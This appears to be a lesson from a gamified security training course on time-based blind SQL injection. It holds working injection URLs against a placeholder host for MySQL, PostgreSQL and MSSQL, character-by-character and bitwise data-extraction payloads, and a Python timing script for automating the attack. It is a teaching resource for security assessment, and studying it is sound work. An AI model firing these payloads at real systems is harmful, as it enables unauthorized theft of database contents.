Time-based blind SQL injection is used when the application provides no visible difference in response to true or false conditions. By introducing conditional delays, we can extract data by measuring response times.
Building on boolean blind injection, we now explore the technique used when even behavioral differences are invisible, relying solely on timing to extract data.
Time-based injection uses database functions that cause delays (like SLEEP() or WAITFOR) conditioned on whether a statement is true or false. By measuring response times, we can determine if our injected condition was true.
# MySQL - If true, delay 5 seconds
http://target.com/product.php?id=1 AND IF(1=1,SLEEP(5),0)--
# PostgreSQL - If true, delay 5 seconds
http://target.com/product.php?id=1 AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END--
# MSSQL - If true, delay 5 seconds
http://target.com/product.php?id=1; IF 1=1 WAITFOR DELAY '0:0:5'--Similar to boolean blind injection, we extract data character by character, but instead of checking response content, we check response time.
# Test if first character of database name is 't'
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),1,1))=116,SLEEP(5),0)--
# Test if second character is 'e'
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),2,1))=101,SLEEP(5),0)--
# Extract version character by character
http://target.com/product.php?id=1 AND IF(ascii(substring(version(),1,1))=53,SLEEP(5),0)--Time-based injection is inherently slow. Use binary search and bitwise operations to minimize the number of requests needed.
# Bitwise extraction - test each bit (8 requests per character)
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),1,1))&1=1,SLEEP(5),0)--
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),1,1))&2=2,SLEEP(5),0)--
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),1,1))&4=4,SLEEP(5),0)--
http://target.com/product.php?id=1 AND IF(ascii(substring(database(),1,1))&8=8,SLEEP(5),0)--
# Continue for bits 16, 32, 64, 128💡 Bitwise extraction requires exactly 8 requests per character regardless of the character value, making it more predictable than binary search for time-based injection.
Network latency can cause false positives/negatives. Use statistical analysis and multiple samples to improve accuracy.
import requests
import time
import statistics
def measure_response(condition, samples=3):
times = []
for _ in range(samples):
start = time.time()
requests.get(
f"http://target.com/product.php?id=1 AND {condition}"
)
times.append(time.time() - start)
return statistics.median(times)
def is_true(condition):
delay_time = measure_response(
f"IF({condition},SLEEP(3),0)"
)
baseline = measure_response("1=0")
return delay_time > baseline + 2⚠️ Time-based injection is extremely slow and generates significant traffic. A single table extraction can take hours. Always consider the detection risk during assessments.
Verify exercises to earn ★ 190 XP and unlock next lab level.